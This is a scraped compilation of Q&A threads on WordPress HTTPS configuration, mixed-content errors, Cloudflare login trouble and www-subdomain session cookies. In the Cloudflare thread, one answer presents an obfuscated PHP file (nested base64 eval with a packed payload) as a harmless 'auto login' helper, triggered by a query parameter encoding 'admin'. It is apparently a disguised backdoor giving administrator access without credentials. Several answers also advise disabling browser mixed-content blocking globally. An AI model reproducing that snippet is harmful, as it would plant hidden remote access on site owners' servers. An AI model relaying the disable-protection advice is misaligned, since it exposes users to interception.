Wordpress https ssl content blocked errors - wordpress

I have spent many days on google with this now, my wordpress problem is this.
I would like to turn on https for a couple of pages on the site for a checkout page and a my-account page.
What i have done so far is tried with htaccess and also tried the wordpress https plugin.
Using wordpress 3.4
What happens is i get blocked content errors, as it is unable to load the css images etc in the template (headway) when in the https page. I can see on chrome inspect element it will show blocked contents error (the css files etc) as they are http not https links
I believe the WordPress Address (URL) should have https in it but not sure as when i do this, the homepage even on http wants to display a certifcate.
This a developement domain so the certificate is not correct yet so just using a server wide cert.
Do i need extra rules in htaccess as i believe wordpress struggles with https from googling around and experiencing every error so far (redirect loop errors etc)
Firewall allows port 443 so not a firewall issue.
Hoping somebody has good knowledge on wordpress https ssl

I thought i would post my answer to my problems with wordpress https for those that maybe stuck like i was for days.
You must when using https on a wordpress have a vaild ssl certificate we bought one from rapidssl for £16 per year.
Without the valid ssl certificate we were constantly getting 310 errors from browswrs like google complaining about redirect loops. Once ssl was installed these went away.
The wordpress site url and wordpress home link did not have to be changed from http at all.
Using the wordpress https plugin for the secure pages that we needed, ticked the boxes in edit page to force ssl and with everything ticked in https settings except admin ssl login.
We then after installing the certificate got security warnings and errors about partially encrypted content which means in your secure page there are some http links that the browser does not like.
What we then did was using chrome inspect the element of the page and click on the console tab to find these http links. In our case there were 3 images which in the headway theme i had to insert as a https:// url (url of image) in the header or media boxes in the grid (for those of you using headway).
We also had a link from google web fonts that had to be made https in the secure pages
once that was secure our errors went away. Eg in firefox only the padlock displays.
If you then have a return url set in paypal which gives you a partially encrypted message like this - Although this page is encrypted, the information you have entered is to be sent over an unencrypted connection and could be easily read by a third party - the page which you are returning to has to have a padlock in the https if not you will keep getting this error from firefox etc. So return page has to be no errors, best way is to have a thankyou page with no calls to images etc but the just the order details etc.
One thing that has been driving me nuts was that the call to google we fonts was being affected by headway cache so it was sticking to http sometimes in the https page causing an error, so disabled that now, just off to post a question about making a plugin to disable wordpress headway theme cache on ssl pages see if any can help me on that.
Good luck with your ssl pages folks its great fun!!!!!!!!
oh and heres javascriipt i use for google fonts if anyone wants it for the header
<script type="text/javascript">
WebFontConfig = {
google: { families: [ 'Lato:300,400,700' ] }
};
(function() {
var wf = document.createElement('script');
wf.src = ('https:' == document.location.protocol ? 'https' : 'http') +
'://ajax.googleapis.com/ajax/libs/webfont/1/webfont.js';
wf.type = 'text/javascript';
wf.async = 'true';
var s = document.getElementsByTagName('script')[0];
s.parentNode.insertBefore(wf, s);
})();
</script>
but there are other ways of calling it in https using // instead of http:// google bla is another

I can see on chrome inspect element it will show blocked contents
error (the css files etc) as they are http not https links I believe
the WordPress Address (URL) should have https in it but not sure as
when i do this, the homepage even on http wants to display a
certifcate.
That’s the answer. ssl protected webpages delivering content need to have 100% all of their content delivered via https. Maybe 10 years ago mixed https/http pages existed, but nowadays browsers are extra security aware. So you need to figure out how to make sure all content has URLs set with https. This site seems to have a decent set of answers.

Related

Problem with SSL certificate after trouble shooting

I enabled SLL with the simple SSL plugin on my website https:/www.untwine.eu
All 'sub-sites' and the Wordpress admin pannel are working fine (connection secure). However on my home page there seems to be a problem (attached picture).
I already tried to 'replace all' the http with https.
You seems to have images that goes agains http and not https
check this out
An image with an insecure url of "http://www.untwine.eu/wp-content/uploads/2020/04/background-data-2.jpg" was loaded on line: 828 of https://www.untwine.eu/.
This URL will need to be updated to use a secure URL for your padlock to return.

Mixed content warning but nothing in source

My client has a Wordpress site with an SSL certificate. Riht now I'm trying to figure out any solution.
The site address is https://illustro.pl
When entered on the front page you'll get the un secure connection warning.
I've tried to find what causes this with any luck, solutions that have not worked
replace http with https
change all http to https with Mixed Content/Insecure Content SSL
In the process I've also changed all the URLs to HTTPS in the database on sites where the was the need to.
I'iv inspected the site with multiple developers tools all of them show the problem at line one.
At this point any suggestion would be appreciated.
Try the below code placing at wp-config.php
define('FORCE_SSL_LOGIN', true);
There could be multible reasons:
Main reason is currently that your webserver is not sending the full certificate chain (intermediate certificate is missing). That's the current reason why the browser tells you "unknown issuer".
The next reason could be or will be that your certificate doesn't have subject alternative names. Browsers will stop checking for common name in future.

wordpress website admin login not working on https after cloudflare

I have a static website on which I installed cloudflare flexible SSL.
but now in a folder I installed wordpress here https://www.kiransboutique.com/wordpressrvc/
non of its link is working and wp-admin is also not redirecting to dashboard. I am using correct login credentials.
Can anybody suggest any solution? exactly same installation is working here http://bestcoachingcenter.com/kirans/
To auto login into your wordpress admin , by not adding admin username and password eachtime, you can use below code snippet.
Using this code in a php file and placing it on root directory of your wordpress installation helps you to get login into wp-admin with an administrator account.
What is required to make it work is, you need to hit the url by passing keyword “wpglogin” in query URL as given below –
http://www.sitename.com/codefile.php?wpglogin=YWRtaW4=
By hitting the above URL , you will get entered into admin easily.
<?php /*** PHP Encode v1.0 by zeura.com ***/ $XnNhAWEnhoiqwciqpoHH=file(__FILE__);eval(base64_decode("aWYoIWZ1bmN0aW9uX2V4aXN0cygiWWl1bklVWTc2YkJodWhOWUlPOCIpKXtmdW5jdGlvbiBZaXVuSVVZNzZiQmh1aE5ZSU84KCRnLCRiPTApeyRhPWltcGxvZGUoIlxuIiwkZyk7JGQ9YXJyYXkoNjU1LDIzNiw0MCk7aWYoJGI9PTApICRmPXN1YnN0cigkYSwkZFswXSwkZFsxXSk7ZWxzZWlmKCRiPT0xKSAkZj1zdWJzdHIoJGEsJGRbMF0rJGRbMV0sJGRbMl0pO2Vsc2UgJGY9dHJpbShzdWJzdHIoJGEsJGRbMF0rJGRbMV0rJGRbMl0pKTtyZXR1cm4oJGYpO319"));eval(base64_decode(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH)));eval(ZsldkfhGYU87iyihdfsow(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,2),YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,1)));__halt_compiler();aWYoIWZ1bmN0aW9uX2V4aXN0cygiWnNsZGtmaEdZVTg3aXlpaGRmc293Iikpe2Z1bmN0aW9uIFpzbGRrZmhHWVU4N2l5aWhkZnNvdygkYSwkaCl7aWYoJGg9PXNoYTEoJGEpKXtyZXR1cm4oZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGEpKSk7fWVsc2V7ZWNobygiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTt9fX0=e044e9d170abfceff3904a363ae1348b68619a68hVRta9swEP7sQv+DFkKllMRpYexDQwKjdSHQbl2S7UsoQrEvsTbF8mQZN5T+9+nFdry1ZQkB5+55Od2dnAJLQBF8LTMNmR6tDjlcIZbngsdMc5mNfxYyw4PJ6Ul/ywU8MJ1OUcJVxvZA+nQZLX5EizVeXi/mDyt6O7+Lvny+j/CjZfAsFmUCVGaxwTb0sDeu8pGQLAnzNO9Z4E7IDROoX+XJxvwFpaSiCnKpNM925MJi/JdvCS8K0MZ6EX37Hi1Xa1zlhr/jmTFFZ2fozQz6MEUYD55PT4J+E0VTtGEFfPpIE4hlAu9oGu/A2HZoRoole5N0ekGfqV1hxJhS7EBsJMBKCsCo+UxnNYMXWjEtFR56WFbuN6Bw4DGXNjiYIC9q8WUBykrvQFP3TJyZqyno2wjliclfuoCt8kjzxXVRneT64nE0S5hmo9n8xpFfnOTvEtTBQPEyuouuV+gc3S6+3iMcutmMZrmCLX8KsS+sSkEBmt9YQtgYhRj78hQUpdC2/JpsT1EHiXdyB2lK9yDBCk3dBrhG4+YYnak1yu4QztVl2mPYn6um0zm6ORDsRzpstdrZWoQ3SiRlsV18YnaA1gTkAF2vOuQHYYBmJWlcKmXukLMjDcU05y8QK3VKYyl/cXiNGY/t2cztglhTLafOzw2NlkqQwSQI6s4eMajgGur0USMXLIZ2J3FVVSF+08NgtOJ7YhaT1jTS8Ie93rCLHbQFGDs/hzYXYnurXa1jtpGltpfbL0Jav2PupH+lXLllUcIsii8Jnrj2tZ1DnMr3dPEk4dD2km2BNjjyHuOob7pzPq53A0QBz/820pznVbv/62Ua0jHw8i9/AA==
Your homepage is still in "hello World" state, so you may still want an answer. I had the same(?) problem; and checked posts like yours on Stackoverflow/Stackexchange - alas no joy.
What worked for me:
If you are using the official Cloudflare plugin ( https://wordpress.org/plugins/cloudflare/ ) set “Automatic HTTPS Rewrites” to “On”. This solved link and CSS issues under HTTPS, and saved me having to install additional SSL related plugins.
As a stop gap: If you have not configured WP to "force SSL" you might be able to login using an "http://" address (as I was).
To enable "HTTPS" login, edit wp-config.php and insert the following line:
if (strpos($_SERVER['HTTP_X_FORWARDED_PROTO'], 'https') !== false)
$_SERVER['HTTPS']='on';
If you want a bit more detail I posted about it here: http://wptest.means.us.com/cloudflare-wordpress-unable-login-https/
Note: Flexible SSL is better than no SSL as it encrypts the "connection" between you and Cloudflare. However, CF's connection to your server is still "HTTP" and your login credentials are STILL vulnerable to eavesdropping on this leg of the journey.
I'm still checking, but I think you can also make the CF <-> Server connection secure by enabling Cloudflare Railgun (used to reduce data transfer from your server). Railgun uses TLS, so data is encrypted. I assume if you use both Flexible SSL and Railgun your connections are secure end to end. Some inexpensive hosts include Railgun for free in their packages.
you can fix Wordpress SSL login problem by entering your server IP to the Windows HOSTS file.
Find Hosts file in windows\system32\hosts add your IP and domain name.

Why am I suddenly getting a "Blocked loading mixed active content" issue in Firefox?

This morning, upon upgrading my Firefox browser to the latest version (from 22 to 23), some of the key aspects of my back office (website) stopped working.
Looking at the Firebug log, the following errors were being reported:
Blocked loading mixed active content "http://code.jquery.com/ui/1.8.10/themes/smoothness/jquery-ui.css"
Blocked loading mixed active content "http://ajax.aspnetcdn.com/ajax/jquery.ui/1.8.10/jquery-ui.min.js"`
among other errors caused by the latter of the two above not being loaded.
What does the above mean and how do I resolve it?
I found this blog post which cleared up a few things. To quote the most relevant bit:
Mixed Active Content is now blocked by default in Firefox 23!
What is Mixed Content?
When a user visits a page served over HTTP, their connection is open for eavesdropping and man-in-the-middle (MITM) attacks. When a user visits a page served over HTTPS, their connection with the web server is authenticated and encrypted with SSL and hence safeguarded from eavesdroppers and MITM attacks.
However, if an HTTPS page includes HTTP content, the HTTP portion can be read or modified by attackers, even though the main page is served over HTTPS. When an HTTPS page has HTTP content, we call that content “mixed”. The webpage that the user is visiting is only partially encrypted, since some of the content is retrieved unencrypted over HTTP. The Mixed Content Blocker blocks certain HTTP requests on HTTPS pages.
The resolution, in my case, was to simply ensure the jquery includes were as follows (note the removal of the protocol):
<link rel="stylesheet" href="//code.jquery.com/ui/1.8.10/themes/smoothness/jquery-ui.css" type="text/css">
<script type="text/javascript" src="//ajax.aspnetcdn.com/ajax/jquery.ui/1.8.10/jquery-ui.min.js"></script>
Note that the temporary 'fix' is to click on the 'shield' icon in the top-left corner of the address bar and select 'Disable Protection on This Page', although this is not recommended for obvious reasons.
UPDATE: This link from the Firefox (Mozilla) support pages is also useful in explaining what constitutes mixed content and, as given in the above paragraph, does actually provide details of how to display the page regardless:
Most websites will continue to work normally without any action on your part.
If you need to allow the mixed content to be displayed, you can do that easily:
Click the shield icon Mixed Content Shield in the address bar and choose Disable Protection on This Page from the dropdown menu.
The icon in the address bar will change to an orange warning triangle Warning Identity Icon to remind you that insecure content is being displayed.
To revert the previous action (re-block mixed content), just reload the page.
It means you're calling http from https. You can use src="//url.to/script.js" in your script tag and it will auto-detect.
Alternately you can use use https in your src even if you will be publishing it to a http page. This will avoid the potential issue mentioned in the comments.
In absence of a white-list feature you have to make the "all" or "nothing" Choice. You can disable mixed content blocking completely.
The Nothing Choice
You will need to permanently disable mixed content blocking for the current active profile.
In the "Awesome Bar," type "about:config". If this is your first time you will get the "This might void your warranty!" message.
Yes you will be careful. Yes you promise!
Find security.mixed_content.block_active_content. Set its value to false.
The All Choice
iDevelApp's answer is awesome.
Put the below <meta> tag into the <head> section of your document to force the browser to replace unsecure connections (http) to secured connections (https). This can solve the mixed content problem if the connection is able to use https.
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">
If you want to block then add the below tag into the <head> tag:
<meta http-equiv="Content-Security-Policy" content="block-all-mixed-content">
Its given the error because of security.
for this please use "https" not "http" in the website url.
For example :
"https://code.jquery.com/ui/1.8.10/themes/smoothness/jquery-ui.css"
"https://ajax.aspnetcdn.com/ajax/jquery.ui/1.8.10/jquery-ui.min.js"
In the relevant page which makes a mixed content https to http call which is not accessible we can add the following entry in the relevant and get rid of the mixed content error.
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">
If you are consuming an internal service via AJAX, make sure the url points to https, this cleared up the error for me.
Initial AJAX URL: "http://XXXXXX.com/Core.svc/" + ApiName
Corrected AJAX URL: "https://XXXXXX.com/Core.svc/" + ApiName,
Simply changing HTTP to HTTPS solved this issue for me.
WRONG :
<script src="http://code.jquery.com/jquery-3.5.1.js"></script>
CORRECT :
<script src="https://code.jquery.com/jquery-3.5.1.js"></script>
I had this same problem because I bought a CSS template and it grabbed a javascript an external javascript file through http://whatever.js.com/javascript.js. I went to that page in my browser and then changed it to https://whatever... using SSL and it worked, so in my HTML javascript tag I just changed the URL to use https instead of http and it worked.
To force redirect on https protocol, you can also add this directive in .htaccess on root folder
RewriteEngine on
RewriteCond %{REQUEST_SCHEME} =http
RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} [R=301,L]
#Blender Comment is the best approach. Never hard code the protocol anywhere in the code as it will be difficult to change if you move from http to https. Since you need to manually edit and update all the files.
This is always better as it automatically detect the protocol.
src="//code.jquery.com
I've managed to fix this using these :
For Firefox user
Open a new TAB enter about:config in the address bar to go to the configuration page.
Search for security.mixed_content.block_active_content
Change TRUE to FALSE.
For Chrome user
Click the Not Secure Warning next to the URL
Click Site Settings on the popup box
Change Insecure Content to Allow
Close and refresh the page
I found if you have issues with including or mixing your page with something like http://www.example.com, you can fix that by putting //www.example.com instead
I have facing same problem when my site goes from http to https. We have added rule for all request to redirect http to https.
You needs to add the redirection rule for inter site request, but you have to remove the redirection rule for external js/css.
I just fixed this problem by adding the following code in header:
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">
#if (env('APP_DEBUG'))
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">
#endif
Syntax for Laravel Blade, Remember to use it for debugging only to avoid MITM attacks and eavs-dropping
Also using
http -> https
for Ajax or normal JS Scripts or CSS will also solve the issue.
If your app server is weblogic, then make sure WLProxySSL ON entry exists(and also make sure it should not be commented) in the weblogic.conf file in webserver's conf directory. then restart web server, it will work.

Going to a page without "www" in my app causes the page to not load

We've recently run into an issue with our ASP.NET application where if a user goes to ourcompany.com instead of www.ourcompany.com, they will sometimes end up on a page that does not load data from the database. The issue seems to be related to our SSL certificate, but I've been tasked to investigate a way on the code side to fix this.
Here's the specific use case:
There is a user registration page that new users get sent to after they "quick register" (enter name, email, phone). With "www" in the URL (e.g. "www.ourcompany.com") it works fine, they can proceed as normal. However, if they browsed to just "ourcompany.com" or had that bookmarked, when they go to that page some data is not loaded (specifically a list of states from the DB) and, worse, if they try to submit the page they are kicked out entirely and sent back to the home page.
I will go in more detail if necessary but my question is simply if there is an application setting I can say to keep the session for the app regardless of if the URL has the "www" or not? Buying a second SSL cert isn't an option at this point unless there is no recourse, and I have to look at a way to solve this without another SSL.
Any ideas to point me in the right direction?
When your users go to www.ourcompany.com they get a session cookie for the www subdomain. By default, cookies are not shared across subdomains, which is why users going to ourcompany.com do not have access to their sessions.
There is a useful thread discussing this issue here. The suggested solution is:
By the way, I implemented a fairly good fix/hack today. Put this code
on every page: Response.Cookies["ASP.NET_SessionId"].Value =
Session.SessionID; Response.Cookies["ASP.NET_SessionId"].Domain =
".mydomain.com";
Those two lines of code rewrite the Session cookie so it's now
accessible across sub-domains.
Doug, 23 Aug 2005
Surely you are trying to solve the wrong problem?
Is it possible for you to just implement URL rewriting and make it consistent?
So for example, http://example.com redirects to http://www.example.com ?
For an example of managing rewriting see:
http://paulstack.co.uk/blog/post/iis-rewrite-tool-the-pain-of-a-simple-rule-change.aspx
From the browsers point of view, www.mysite.com is a different site than mysite.com.
If you have a rewrite engine, add a rule to send all requests to www that don't already have it.
Or (this is what I did) add a separate IIS site with the "mysite.com" host header and set the IIS flag to redirect all traffic to www.
In either of these cases, any time a browser requests a page without the www prefix, it will receive a redirect response sending it to the correct page.
Here's the redirect site home directory properties:
And the relevant host header setting:
This fixes the issue without requiring code changes, and incidentally prevents duplicate search results from Google etc.
Just an update, I was able to fix the problem with a web.config entry:
<httpCookies domain=".mycompany.com" />
After adding that, the problem went away.

Resources